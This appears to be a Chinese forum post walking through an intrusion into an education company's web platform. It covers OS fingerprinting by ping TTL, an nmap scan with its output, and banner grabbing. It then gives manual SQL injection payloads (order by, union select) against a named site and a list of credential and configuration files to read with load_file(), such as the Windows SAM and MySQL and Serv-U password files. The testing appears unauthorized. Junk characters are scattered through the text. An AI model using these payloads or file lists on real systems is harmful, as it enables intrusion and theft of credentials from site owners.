题记：
$ g P1 V. m4 T一位朋友在某教育公司，一套网络教育平台。一年前，在2008年8月份的时候，我看到了这套平台，当时发现了个注入漏洞，测试了一下，得到一个可用帐户后就没有再继续下去。今天7月，又说到此事，我决定继续下去……
% r# r+ G% h. \2 S2 N2 { A& t第一步：获取需要的信息
7 x1 F' F: s4 @: M' X' @' B由于之前测试过，知道此系统某处存在SQL注入漏洞。但由于时隔一年，岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址，现在需要重新收集服务器有用信息。
- P& Y" j! o6 T6 P7 D% ^8 i- A6 j& F注：以下为保护特用XXX代替敏感信息7 v. d" [/ I4 \9 t" p
顺手先PING了一下他们的域名：( e5 |5 h3 Z# X$ ^" t
ping XXX.XXX.XXX.XXX（本文约定：用XXX.XXX.XXX.XXX代表测试IP和域名）6 j4 n8 O& W) A
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
6 [2 E, {" s7 c- ~! H! B+ u3 z顺便了解一下TTL，学好基础知识才能一路顺风：% T/ _* |0 q$ L6 d L4 a
TTL：(Time To Live ) 生存时间
* m2 x# G& T. i1 h6 a指定数据包被路由器丢弃之前允许通过的网段数量。
( P7 v2 E. m+ _5 STTL 是由发送主机设置的，以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时，要求路由器至少将 TTL 减小 1。0 z# U) ~$ s; \/ |: i% b0 i
使用PING时涉及到的 ICMP 报文类型: {2 k" |% L3 x. t8 \# A4 {/ S
一个为ICMP请求回显（ICMP Echo Request）
1 y1 x" p" S; h& U9 ]7 ]一个为ICMP回显应答（ICMP Echo Reply）
9 _ n! u6 ^! P! t- `. aTTL 字段值可以帮助我们识别操作系统类型。
4 h8 |; X( Z4 k. s+ ? mUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
- c% A3 Z2 I d7 `( i1 \5 f" XCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
) C$ M" r+ {/ L( V1 Z9 A9 o8 W微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128% I U& C0 X8 q8 _1 U) j
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32; Z. p, e* e# k5 q( m
当然，返回的TTL值是相同的7 n8 j& j3 e/ w! D
但有些情况下有所特殊
- f ?" N) c% U5 p1 |9 m2 cLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 645 H; Z1 @& z! M" G6 P
FreeBSD 4.1, 4.0, 3.4;
. I" G: G; R* D( e$ A+ gSun Solaris 2.5.1, 2.6, 2.7, 2.8;
& P( G' c2 T2 w! H ^OpenBSD 2.6, 2.7,
! V% @7 J" @/ W! B1 X' ]- u- M' t. lNetBSD
; U, z* h# q1 y" ^8 S. VHP UX 10.209 j N2 V" I/ _9 |! D8 }5 @
ICMP 回显应答的 TTL 字段值为 255
2 W- S# u9 |) [. y1 s+ }Windows 95/98/98SE; v0 b' P$ a: T0 {
Windows ME& H# h c; Q& `7 a: S4 y
ICMP 回显应答的 TTL 字段值为 324 g0 q+ H1 V) p7 b/ J/ o5 g/ P( F
Windows NT4 WRKS& O1 |; c) X! T1 [- l; A" G4 X- u7 y
Windows NT4 Server
# h( W0 H; I/ C2 \+ Q1 Z/ zWindows 2000
& b* z: H: O' o/ `Windows XP U" G* L/ Z, @: r- \$ K0 f. X
ICMP 回显应答的 TTL 字段值为 128
5 H- v u! y9 D* w这样，我们就可以通过这种方法来辨别操作系统# K7 H+ L' s2 t4 ?. F
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值，其数据就是默认的TTL值了，我们可以修改，但不能大于十进制的255
. n3 h2 z: C2 H, A) K用NMAP扫描一下：! |$ }5 `- d' r
nmap -sT -O XXX.XXX.XXX.XXX
* V( z$ ^6 C) O" f2 R, A# b; [( {如果没有装WinPcap则会弹出提示：0 |/ U) Z% V0 R8 H4 M
WARNING: Could not import all necessary WinPcap functions. You may need to upgr' H/ p3 ~- [' J
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
6 y, |# B8 s& D* h2 O+ x3 C) mode — Nmap may not function completely
. T! J- b7 r% `& y7 b7 T1 VTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher- m9 B! m: g+ `- \# H/ Y' v1 c* }
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
0 W, \+ m- ~6 ]$ @) \pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an2 X8 P2 k) U# I& f1 L( ^
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
6 s- ]6 U7 F n) d* L' x6 Iersions, you may be able to take iphlpapi.dll from another system and place it i
- F3 _# m3 ?0 Qn your system32 dir (e.g. c:\windows\system32).5 z, V& b* j. r! f
QUITTING!6 k+ F9 i) A5 D2 S3 d# C) d( N
到这里下载： http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
4 j5 Y5 |$ Z, [( y5 d安装后继续执行刚才的命令，等待扫描完毕后得到入下信息：, p5 c& Q% r8 @& n b
Interesting ports on XXX.XXX.XXX.XXX:
* U- Z& a9 ^4 J9 ?+ N, I1 ONot shown: 986 closed ports' l" ~- V& ^4 K8 g8 I! K
PORT STATE SERVICE% P) G/ I( W# ?7 k
21/tcp open ftp
1 x3 c5 ^: x4 C7 W+ j, H9 \/ O: P22/tcp open ssh% B& G& g( g9 Q, J( S' D, s
23/tcp open telnet9 g: ~2 }7 b" K" Q) ?
80/tcp open http
7 y3 y) w+ V5 A0 F" R n% }111/tcp open rpcbind
. n; ~" Z; M7 l0 ^! ~135/tcp filtered msrpc' R: s/ U; Y% {5 K0 J5 M8 `+ y
139/tcp filtered netbios-ssn
# u4 ~3 I1 I: i( l! V/ ?" [+ N. L445/tcp filtered microsoft-ds
% \* g" u. j( m4 d7 M* Y/ M513/tcp open login/ h0 }, @9 S1 S% W b
514/tcp open shell
8 r# r% u* I" ^- t593/tcp filtered http-rpc-epmap, ^/ x3 J& e4 \) t
1720/tcp filtered H.323/Q.9311 U! B5 J, ^- m- y2 ?/ m+ p, H2 i* R; m
3306/tcp open mysql8 n7 s/ H* C7 f6 a
4444/tcp filtered krb524
7 s: _1 B. M* s2 e5 ]Device type: WAP; P) J# p+ y' N" ?, B& a2 I
Running: Linux 2.4.X6 U- M: ]5 `' {" H- N8 z
OS details: DD-WRT (Linux 2.4.35s)" o, O/ q! [8 [9 p* t' i( R9 P M+ F
Network Distance: 13 hops
+ L7 D6 s9 j# E" s" q6 @: T看到SSH22端口是开着的，打开putty试一下，看是否可以正常连接：1 N# I& r, d- C8 B4 |) M2 Q9 A; k5 K
login as:/ G. M( I, |% ]
Telnet23端口也是开着的，用telnet 命令链接一下：0 i% T5 |/ V. l1 ?
telnet XXX.XXX.XXX.XXX$ c; w! E5 d: p( {9 V. {' k
提示：
3 c) r3 B d7 `4 }2 `Red Hat Enterprise Linux Server release 5.2 (Tikanga)
+ ^8 }1 \# E8 k0 K; W: w$ IKernel 2.6.18-92.el5PAE on an i686+ l }. u( P2 n: @% m
login:
( g9 l0 ] z* w8 L3 ~: n获取HTTP头信息：
& ~( @+ r+ Q! Z2 l在本地执行如下PHP代码
. m# m0 u7 X* {% A# a2 N; A<?php9 K' [1 N+ A+ d4 o, O3 L
$url = ‘XXX.XXX.XXX.XXX’;
4 b3 b4 w$ h5 w0 B3 Y% |print_r(get_headers($url));+ k4 w. c6 }, d1 J9 O# }. F
print_r(get_headers($url, 1));
$ @/ w" ?, j2 @" ?9 F) P?>
! ]. G( f) e) Q. M. Y- n1 c7 [将以上代码保存为PHP文件，执行：
: {# D2 Z3 L& ]Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes ): ]9 ]& Q; h) n( H0 m
现在可以得出结论：
7 m2 ?4 c2 M4 P. i: @- S系统版本：Red Hat Enterprise Linux Server release 5.2 (Tikanga)2 S) c: [0 u, J* p* v! K
内核版本：Kernel 2.6.18-92.el5PAE on an i6863 A* N5 L t# b" w+ ~& V% I, S
WEB服务器版本：nginx/0.7.61
, d9 N/ X, ~# I/ c; }第二步，开始测试寻找漏洞
% f8 c- c0 x( y. |分析是否存在注入漏洞，因为上次曾发现存在过，所以注入则是我们的首选。
. N; K+ ]9 |- b6 U: j; t, k1 R1、敏感地址：站内存在有类似：http://www.fovweb.com/XXX.php?id=123 这种地址，属动态传参的; Z9 M$ r( |% r' ^1 S, a0 s% ?0 Z
2、测试方法：在地址后加 and 1=1 和 and 1=2 测试# z7 [. [- [! E2 `
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常2 {1 D* S# w* {# w) z+ q
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
, D' l, p, L/ y& _7 I# R% A3 a$ I7 u恭喜，两次返回结果不同，则很有可能存在未过滤敏感字符而存在SQL注入漏洞，我们继续2 k* B& J/ g0 f. H7 F
3、手工注入：
# k/ ]8 R8 P, u$ @7 W6 G注入也应该有个思路，不能随便碰运气，要记住入侵检测不是靠运气而走下去的，要靠的是清晰的思路、过硬的技术、很全的知识面。
2 H6 }2 y: a2 j+ h3.1 猜测当前表字段数
$ ^) ^! f2 I* _/ r! l2 m0 \http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10$ P! s" A* R& G; r
此处猜测有个简单的算法，都是有技巧的吗，呵呵0 ~9 {0 w! t; T" I1 J3 @6 ~
算法简单如下：( ~% m+ @4 ?1 |8 K
第一步：根据页面信息，大概估算一个数值，这个是要靠一定的经验了；
) z' J! l7 q! l9 A/ ~第二步：取中算法，好比是10，如果返回错误，则取中间值5进行下一次猜测；
1 G4 ]2 s. g& f. A* t需要注意：如果所选数值在字段数范围内即小于等于，则会（返回正常）；如果所选数值在字段范围外即大于等于，则会（返回错误）。- R! c& e: R. ?
以此来判断，是否过界，配合取中算法猜出字段数。2 ?/ q( C+ B, t6 p
举例：
9 x) n0 Z* x0 e `; W- X$ X5 ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常3 v; r4 H7 h0 W# \5 x" O; [2 C
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误8 A# J8 @& g9 Y1 @( f6 n6 N& |! @# m
此时3则为我们要找的字段数。
. E. o# G8 j" Q# y4 {3.2 配合union联合查询字段在页面所位置( C% y+ {# r3 J5 v' p. C
我们已经知道了字段数为3，此时则可以做如下操作：) z0 ~7 ~: T! L( \0 H
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3+ K# m" x/ e L% R5 v( i7 D0 D$ Z
' }! E8 b) A5 V" v这样就可以测试到哪些字段在页面上有所显示了，如图：
+ o9 o) w C4 D. X# }6 |* M4 v/ a- ?: u. e5 \; I4 I, `7 {
3.3 查敏感信息0 A8 t" ~: z# p& G# F# l
这也是个思路问题，我们需要什么，其实到了这一步已经能做什么多事情了。
/ P. M/ E/ u; Y9 Dhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()2 f* E" @) d" w. q! ~7 ?# e. U
3.3.1 先查数据库用户、数据库名，以备后用，如图：0 N3 ?* r% f4 F. v$ l H _
6 S9 t5 u! i* X r7 }得到数据库用户为root、数据库名为DBxx；
8 s9 {3 C5 ^* `4 J6 q2 ?6 Z3.3.2 查配置文件5 f$ W( ~" D6 R5 O, e& [( I) T
查配置文件，就是指查看系统敏感的文件，如web服务器配置文件等。3 a. K2 k- A: I
查看文件有一定的条件限制：2 C$ u# @6 V/ p/ _5 ^* C( L
欲读取文件必须在服务器上" Y7 l& S. _# I/ }& o, p( |8 N
必须指定文件完整的路径
5 z# m$ k0 F. r必须有权限读取并且文件必须完全可读% s$ d) Q2 N$ k2 N: Y$ D
欲读取文件必须小于 max_allowed_packet
2 P0 r/ n- P' B8 z' BMYSQL注入中，load_file()函数在获得webshell以及提权过程中起着十分重要的作用，常被用来读取各种配置文件。
, ?" K: N( ^' k. J/ \常用的一些：; x' @1 W; E8 [7 S$ ^; q7 y3 k
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
7 v2 T# @) R0 [8 N/usr/local/apache2/conf/httpd.conf
) n# A3 l$ ?, z! \/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/ e; ?" |7 `+ v/usr/local/app/php5/lib/php.ini //PHP相关设置
' ] x3 O% u" N# K3 x7 p/etc/sysconfig/iptables //从中得到防火墙规则策略9 b6 j% g" N. Z- u" q
/etc/httpd/conf/httpd.conf // apache配置文件
1 @/ [0 J) X9 T4 e: v' W$ z/etc/rsyncd.conf //同步程序配置文件9 J5 }9 p6 C8 }; ?+ r# l/ I
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.2 A0 }6 w# y5 A m* y& V& G6 u, f
/etc/my.cnf //mysql的配置文件- b) Y. v7 L1 r7 b6 ~/ p2 ~
/etc/redhat-release //系统版本, r% }* o$ U/ Q5 G0 r- @; M
/etc/issue
4 o0 H! D# I: E, K8 z# q/etc/issue.net% R8 }* }- A5 t+ |# w, Z
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
, j& { z s# s& a3 {" [. [c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码0 t8 E" ~, {% }1 t( e( v
c:\Program Files\Serv-U\ServUDaemon.ini5 ~5 E. ?7 b# I9 @
c:\windows\my.ini //MYSQL配置文件
" w4 L# ?0 W' R& Y) Pc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件* J3 |* ?# W. F
等等。实际上，load_file()的作用不止于此，它还可以用来读取系统中的二进制文件，
b$ b* i* p n! i% j4 S7 rc:\windows\repair\sam //存储了WINDOWS系统初次安装的密码& A# {& Q2 Q. F. X( O8 Q6 Z$ W7 ]
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
2 q q$ Z% {) @5 bc:\Program Files\RhinoSoft.com\ServUDaemon.exe
/ ^2 i M) M& PC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
+ T6 `; \) E$ f//存储了pcAnywhere的登陆密码5 I+ c/ r! r1 n7 f' ~
由于之前得到信息，此台服务器是采用的nginx做的Web服务器，那我们就来试着找一下nginx的安装路径吧。
$ ^ J( Y3 v) i/ y; y0 _7 ^: ?这个没有技术性可言，纯靠经验和运气，由于很少用nginx不了解，我就先到网上搜索常用的安装路径，以及比较好的配置文档中的安装路径进行测试，最终，得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
& x1 Y4 A! A, p* ]1 X; e最后：防范措施
# L/ d3 a) Z/ Y/ D8 x; |1、修复PHP注入漏洞；. o9 b0 H9 W( \8 p* ?) U6 e
2、Mysql使用普通权限的用户；
# X7 A ?/ X9 i4 _0 b: L( T" d3、升级linux内核至最新版本； |
发表于 2013-2-16 22:23:32
收藏
支持
反对